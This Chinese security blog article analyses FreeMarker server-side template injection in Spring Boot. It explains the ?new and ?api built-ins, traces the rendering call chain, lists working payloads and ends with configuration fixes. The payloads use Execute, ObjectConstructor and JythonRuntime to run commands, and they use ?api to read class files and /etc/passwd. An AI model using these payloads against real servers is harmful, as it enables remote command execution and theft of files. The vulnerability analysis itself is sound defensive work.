SSTI-Freemarker模板注入漏洞
一、Freemarker 简介
FreeMarker 是一款 模板引擎: 即一种基于模板和要改变的数据, 并用来生成输出文本(HTML网页,电子邮件,配置文件,源代码等)的通用工具。 它不是面向最终用户的,而是一个 Java类库,是一款程序员可以嵌入他们所开发产品的组件。 模板编写为 FreeMarker Template Language (FTL)。它是简单的,专用的语言, 不是像 PHP 那样成熟的编程语言。 那就意味着要准备数据在真实编程语言中来显示,比如数据库查询和业务运算, 之后模板显示已经准备好的数据。在模板中,你可以专注于如何展现数据, 而在模板之外可以专注于要展示什么数据。
这种方式通常被称为 MVC (模型 视图 控制器) 模式s,对于动态网页来说,是一种特别流行的模式。 它帮助从开发人员(Java 程序员)中分离出网页设计师(HTML设计师)。设计师无需面对模板中的复杂逻辑, 在没有程序员来修改或重新编译代码时,也可以修改页面的样式。 而 FreeMarker 最初的设计,是被用来在 MVC 模式的 Web 开发框架中生成 HTML 页面的,它没有被绑定到 Servlet 或 HTML 或任意 Web 相关的东西上。它也可以用于非 Web 应用环境中。
二、Freemarker 使用
1、Spring boot + Freemarker示例
pom.xml 添加依赖
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-freemarker</artifactId>
</dependency>
spring-boot-starter-freemarker-2.7.13.pom
<dependencies>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter</artifactId>
<version>2.7.13</version>
<scope>compile</scope>
</dependency>
<dependency>
<groupId>org.freemarker</groupId>
<artifactId>freemarker</artifactId>
<version>2.3.32</version>
<scope>compile</scope>
</dependency>
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-context-support</artifactId>
<version>5.3.28</version>
<scope>compile</scope>
</dependency>
</dependencies>
application.yml 添加配置
spring:
freemarker:
# 模板后缀名
suffix: .ftl
# 文档类型
content-type: text/html
# 页面编码
charset: UTF-8
# 页面缓存
cache: false
# 模板路径
template-loader-path: classpath:/templates/
新建 index.ftl
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>FreeMarker</title>
</head>
<body>
<table>
<tr>
<td>姓名</td>
<td>年龄</td>
</tr>
<tr>
<td>${user.name}</td>
<td>${user.age}</td>
</tr>
</table>
</body>
</html>
新建 UserController
import com.example.demo.bean.User;
import org.springframework.stereotype.Controller;
import org.springframework.ui.Model;
import org.springframework.web.bind.annotation.GetMapping;
@Controller
public class UserController {
@GetMapping("/index")
public String index(Model model) {
User user = new User();
user.setAge(5);
user.setName("li");
model.addAttribute("user", user);
return "index";
}
}
运行 Spring boot 项目,访问 index 成功显示
2、Freemarker 模板
见官方文档(http://freemarker.foofun.cn/dgui_template.html)
(1)、总体结构
实际上用程序语言编写的程序就是模板。 FTL (代表FreeMarker模板语言)。 这是为编写模板设计的非常简单的编程语言。 模板(FTL编程)是由如下部分混合而成的:
•文本:文本会照着原样来输出。•插值:这部分的输出会被计算的值来替换。插值由 ${ and } 所分隔(或者 #{ and },这种风格已经不建议再使用了;点击查看更多[1])。•FTL 标签:FTL标签和HTML标签很相似,但是它们却是给FreeMarker的指示, 而且不会打印在输出内容中。•注释:注释和HTML的注释也很相似,但它们是由 <#-- 和 -->来分隔的。注释会被FreeMarker直接忽略, 更不会在输出内容中显示。
我们来看一个具体的模板。其中的内容已经用颜色来标记了: 文本, 插值, FTL 标签, 注释。为了看到可见的 换行符, 这里使用了 [BR]。
s 注:
•FTL是区分大小写的。 list 是指令的名称而 List 就不是。类似地 ${name} 和 ${Name} 或 ${NAME} 也是不同的。•插值 仅仅可以在 文本 中使用。 (也可以是字符串表达式;请参考 后续内容[2])•FTL 标签 不可以在其他 FTL 标签 和 插值中使用。比如, 这样做是 错误 的: <#if <#include 'foo'>='bar'>...</#if>•注释 可以放在 FTL 标签 和 插值中
(2)、指令
使用 FTL标签来调用 指令。 在示例中已经调用了 list 指令。在语法上我们使用了两个标签: <#list animals as animal> 和 </#list>。 FTL 标签分为两种:
•开始标签: <#directivename parameters>•结束标签: </#directivename>
除了标签以 # 开头外,其他都和HTML,XML的语法很相似。 如果标签没有嵌套内容(在开始标签和结束标签之间的内容),那么可以只使用开始标签。 例如 <#if
something
>
...
</#if>, 而FreeMarker知道 <#include
something
> 中的 include 指令没有可嵌套的内容。
parameters
的格式由
directivename_来决定。 事实上,指令有两种类型: 预定义指令[3] 和 用户自定义指令[4]。 对于用户自定义的指令使用 @ 来代替 #,比如,<@mydirective _parameters
>
...
</@mydirective>。 更深的区别在于如果指令没有嵌套内容,那么必须这么使用 <@mydirective
parameters
/>,这和XML语法很相似 (例如 )。 assign 指令:主要是用于为该模板页面创建或替换一个顶层变量。
<#assign name1=value1 name2=value2 ... nameN=valueN>
or
<#assign same as above... in namespacehash>
or
<#assign name>
capture this
</#assign>
or
<#assign name in namespacehash>
capture this
</#assign>
Tips:name为变量名,value为表达式,namespacehash是命名空间创建的哈希表,是表达式。
for example:
<#assign seq = ["foo", "bar", "baz"]>//创建了一个变量名为seq的序列
(3)、表达式
当需要给插值或者指令参数提供值时,可以使用变量或其他复杂的表达式。 例如,我们设x为8,y为5,那么 (x + y)/2 的值就会被处理成数字类型的值6.5。 在我们展开细节之前,先来看一些具体的例子:
•当给插值提供值时:插值的使用方式为 ${expression}, 把它放到你想输出文本的位置上,然后给值就可以打印出来了。 即 ${(5 + 8)/2} 会打印出 ''6.5'' 来 (如果输出的语言不是美国英语,也可能打印出''6,5''来)。•当给指令参数提供值时:在入门章节我们已经看到 if 指令的使用了。这个指令的语法是:<#if expression>...</#if>。 这里的表达式计算结果必须是布尔类型的。比如 <#if 2 < 3> 中的 2 <3 (2小于3)是结果为 true 的布尔表达式。
(4)、插值
插值的使用格式是: ${
expression
},这里的
expression
可以是所有种类的表达式(比如 ${100 + x})。 插值是用来给
表达式
插入具体值然后转换为文本(字符串)。插值仅仅可以在两种位置使用:在 文本区[5] (比如 Hello ${name}!) 和 字符串表达式[6] (比如 <#include "/footer/${company}.html">)中。 表达式的结果必须是字符串,数字或者日期/时间/日期-时间值, 因为(默认是这样)仅仅这些值可以被插值自动转换为字符串。其它类型的值 (比如布尔值,序列)必须 "手动地" 转换成字符串(后续会有一些建议), 否则就会发生错误,中止模板执行。
3、Freemarker 内建函数
Freemarker 提供了很多内置函数供开发者使用,具体见官方文档[7],存在风险的函数为 new 和 api,详情如下:
(1)、new
用来创建一个确定的 TemplateModel 实现变量的内建函数。 在 ? 的左边你可以指定一个字符串, 值为 TemplateModel 实现类的完全限定名。 结果是调用构造方法生成一个方法变量,然后将新变量返回。 例:
<#-- Creates an user-defined directive be calling the parameterless constructor of the class -->
<#assign word_wrapp = "com.acmee.freemarker.WordWrapperDirective"?new()>
<#-- Creates an user-defined directive be calling the constructor with one numerical argument -->
<#assign word_wrapp_narrow = "com.acmee.freemarker.WordWrapperDirective"?new(40)>
该内建函数可以创建任意的 Java 对象,只要类实现了 TemplateModel 接口即可创建进而使用这些对象, 并且可以触发没有实现 TemplateModel 接口的类的静态初始化块。 2.3.17后可使用 Configuration.setNewBuiltinClassResolver(TemplateClassResolver) 、new_builtin_class_resolver 限制 new 内建函数对类的访问。
(2)、api
api 内建函数于 FreeMarker 2.3.22 版本出现,之前版本不存在。 如果value本身支持这个额外的特性, value?api 提供访问 value 的API (通常是 Java API),比如 value?api.someJavaMethod()
, 当需要调用对象的Java方法时,这种方式很少使用, 但是 FreeMarker 揭示的value的简化视图的模板隐藏了它,也没有相等的内建函数。 例如,当有一个 Map,并放入数据模型 (使用默认的对象包装器),模板中的 myMap.myMethod() 基本上翻译成Java的 ((Method) myMap.get("myMethod")).invoke(...),
因此不能调用 myMethod。如果编写了 myMap?api.myMethod()
来代替,那么就是Java中的 myMap.myMethod()。 api 内建函数使用存在以下限制:
•api_builtin_enabled 配置设置项必须设置为 true。 2.3.22 版本及之后默认为 false•值本身要支持它。我们在讨论当模板看到的值,它是通过对象包装从原始对象值(来自于数据模型或者Java方法的返回值)中创建的。 因此,这就依赖 FreeMarker 的配置设置项 object_wrapper, 还有被包装的(原始)对象:•当对象包装器是 DefaultObjectWrapper ,并且它的 incompatibleImprovements 设置为 2.3.22 或更高 (在这里看如何设置它) (事实上,要做的是将它的 useAdaptersForContainer 属性设置为 true,但那是提到的 incompatibleImprovements 的默认值)时,从 Map 和 List 中得到FTL值支持 ?api。其它的 java.util.Collections 也是这样,如果 DefaultObjectWrapper 的 forceLegacyNonListCollections 属性设置为 false (默认是 true, 这是为了更好的向后兼容拆包)。•当被纯 BeansWrapper 包装时,所有值都支持 ?api。但是再次重申,如果有其它方法,就避免使用它。•实现了 freemarker.template.TemplateModelWithAPISupport 接口, 自定义的 TemplateModel 可以支持 ?api。
当在配置中不允许或值本身不支持 ?api 时使用了它, 就会中止模板处理并发生错误。
三、Freemarker 模板注入漏洞分析
1、获取模板
Spring boot 所有http请求均调用org.springframework.web.servlet.FrameworkServlet#service()方法进行处理,调用super.service()进行处理
调用至javax.servlet.http.HttpServlet#service()
调用至javax.servlet.http.HttpServlet#doget()
调用至rg.springframework.web.servlet.FrameworkServlet#processRequest()
org.springframework.web.servlet.DispatcherServlet#doService() --> org.springframework.web.servlet.DispatcherServlet #doDispatch() -->
org.springframework.web.servlet.DispatcherServlet #processDispatchResult() --> 调用至org.springframework.web.servlet.DispatcherServlet#render()
org.springframework.web.servlet.DispatcherServlet#resolveViewName() --> org.springframework.web.servlet.view.ContentNegotiatingViewResolver#resolveViewName() --> org.springframework.web.servlet.view.ContentNegotiatingViewResolver#getCandidateViews() --> org.springframework.web.servlet.view.AbstractCachingViewResolver#resolveViewName() --> org.springframework.web.servlet.view.UrlBasedViewResolver#createView() 创建模板,此方法先判断是否为跳转为跳转也没,此处均不进入 if 最终调用super.createView()
org.springframework.web.servlet.view.AbstractCachingViewResolver#createView()
org.springframework.web.servlet.view.AbstractCachingViewResolver#loadView()
org.springframework.web.servlet.view.AbstractTemplateViewResolver#buildView()
org.springframework.web.servlet.view.UrlBasedViewResolver#buildView() 此处通过 this.instantiateView()
new 一个 FreeMarkerView 类,然后进行了一些基础赋值,构建 View 基础框架,此处设置 url 并添加 .ftl后缀。
org.springframework.web.servlet.view.AbstractCachingViewResolver#loadView() 方法调用buildView() 后,继续调用view.checkResource()
org.springframework.web.servlet.view.freemarker.FreeMarkerView#checkResource() 判断 url 是否为空,不为空后调用 getTemplate(url, locale)
org.springframework.web.servlet.view.freemarker.FreeMarkerView#getTemplate(url, locale)
freemarker.template.Configuration#getTemplate() 调用此类同名方法,跟进this.cache.getTemplate()
freemarker.cache.TemplateCache#getTemplate() ,跟进this.getTemplateInternal()
freemarker.cache.TemplateCache#getTemplateInternal(),此处进行判断 -->
freemarker.cache.TemplateCache#lookupTemplate() -->
freemarker.cache.TemplateLookupStrategy#lookup() -->
freemarker.cache.TemplateCache#lookupWithLocalizedThenAcquisitionStrategy()
...
最终调用this.lookupWithLocalizedThenAcquisitionStrategy()
,此处会先拼接 _zh_CN,再寻找未拼接_zh_CN的模板名,调用this.findTemplateSource(path)获取模板实例。
此处获取到模板文件里数据
2、解析模板
回到org.springframework.web.servlet.DispatcherServlet#render() resolveViewName()加载模板文件后使用view.render()对模板进行解析。
最终调用至 org.springframework.web.servlet.view.freemarker.FreeMarkerView#doRender()
org.springframework.web.servlet.view.freemarker.FreeMarkerView#processTemplate()
freemarker.template.Template#process() 调用createProcessingEnvironment()#process(),createProcessingEnvironment()返回Environment 类,故即调用 Environment#process()
freemarker.core.Environment#process()
freemarker.core.Environment#visit() 对 ftl 的文件进行遍历,若读取到一条 freeMarker 表达式,回调 visit() 方法, visit() 方法调用element.accept()
freemarker.core.Assignment#accept() 判断 namespaceExp 是否为 null,接着判断 this.operatorType 是否等于 65536,跟进 eval() 方法
freemarker.core.Expression#eval() 方法判断 constantValue 是否为 null,此处 constantValue 为 null,调用 this._eval()
freemarker.core.MethodCall#_eval() 此处 targetMethod 即在 ftl 语句中声明的类
freemarker.core.NewBI#exec() 中调用 newInstance() 初始化声明的类
类初始化完成后继续遍历 ftl文件,遍历至value("Calc")
,调用至 freemarker.core.DollarVariable#accept(),与之前调用链一致,最终调用至 freemarker.core.MethodCall#_eval()
此处即调用至 freemarker.template.utility.Execute#exec() 进行命令执行
3、paylod
(1)、new() 函数
<#assign value="freemarker.template.utility.Execute"?new()>${value("Calc")}
<#assign value="freemarker.template.utility.ObjectConstructor"?new()>${value("java.lang.ProcessBuilder","Calc").start()}
<#assign value="freemarker.template.utility.JythonRuntime"?new()><@value>import os;os.system("calc")
<#assign ex="freemarker.template.utility.Execute"?new()> ${ ex("Calc") }
(2)、api() 函数
#assign classLoader=object?api.class.protectionDomain.classLoader>
<#assign clazz=classLoader.loadClass("ClassExposingGSON")>
<#assign field=clazz?api.getField("GSON")>
<#assign gson=field?api.get(null)>
<#assign ex=gson?api.fromJson("{}", classLoader.loadClass("freemarker.template.utility.Execute"))>
${ex("Calc"")}
<#assign is=object?api.class.getResourceAsStream("/Test.class")>
FILE:[<#list 0..999999999 as _>
<#assign byte=is.read()>
<#if byte == -1>
<#break>
</#if>
${byte}, </#list>]
<#assign uri=object?api.class.getResource("/").toURI()>
<#assign input=uri?api.create("file:///etc/passwd").toURL().openConnection()>
<#assign is=input?api.getInputStream()>
FILE:[<#list 0..999999999 as _>
<#assign byte=is.read()>
<#if byte == -1>
<#break>
</#if>
${byte}, </#list>]
四、漏洞修复
从 2.3.17版本以后,官方版本提供了三种TemplateClassResolver对类进行解析: 1、UNRESTRICTED_RESOLVER:可以通过 ClassUtil.forName(className)
获取任何类。
2、SAFER_RESOLVER:不能加载 freemarker.template.utility.JythonRuntime
、freemarker.template.utility.Execute
、freemarker.template.utility.ObjectConstructor
这三个类。 3、ALLOWS_NOTHING_RESOLVER:不能解析任何类。 可通过freemarker.core.Configurable#setNewBuiltinClassResolver
方法设置TemplateClassResolver
,从而限制通过new()
函数对freemarker.template.utility.JythonRuntime
、freemarker.template.utility.Execute
、freemarker.template.utility.ObjectConstructor
这三个类的解析。
4、当api_builtin_enabled
为true时才可使用api函数,而该配置在2.3.22版本之后默认为false。
如您有问题、建议、需求、合作、加群交流请后台留言或添加微信
References
[1]
点击查看更多: http://freemarker.foofun.cn/ref_depr_numerical_interpolation.html
[2]
后续内容: http://freemarker.foofun.cn/dgui_template_exp.html#dgui_template_exp_stringop_interpolation
[3]
预定义指令: http://freemarker.foofun.cn/gloss.html#gloss.predefinedDirective
[4]
用户自定义指令: http://freemarker.foofun.cn/gloss.html#gloss.userDefinedDirective
[5]
文本区: http://freemarker.foofun.cn/dgui_template_overallstructure.html
[6]
字符串表达式: http://freemarker.foofun.cn/dgui_template_exp.html#dgui_template_exp_stringop_interpolation
[7]
官方文档: http://freemarker.foofun.cn/ref_builtins.html
原文始发于微信公众号(白给信安):SSTI-Freemarker模板注入漏洞
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论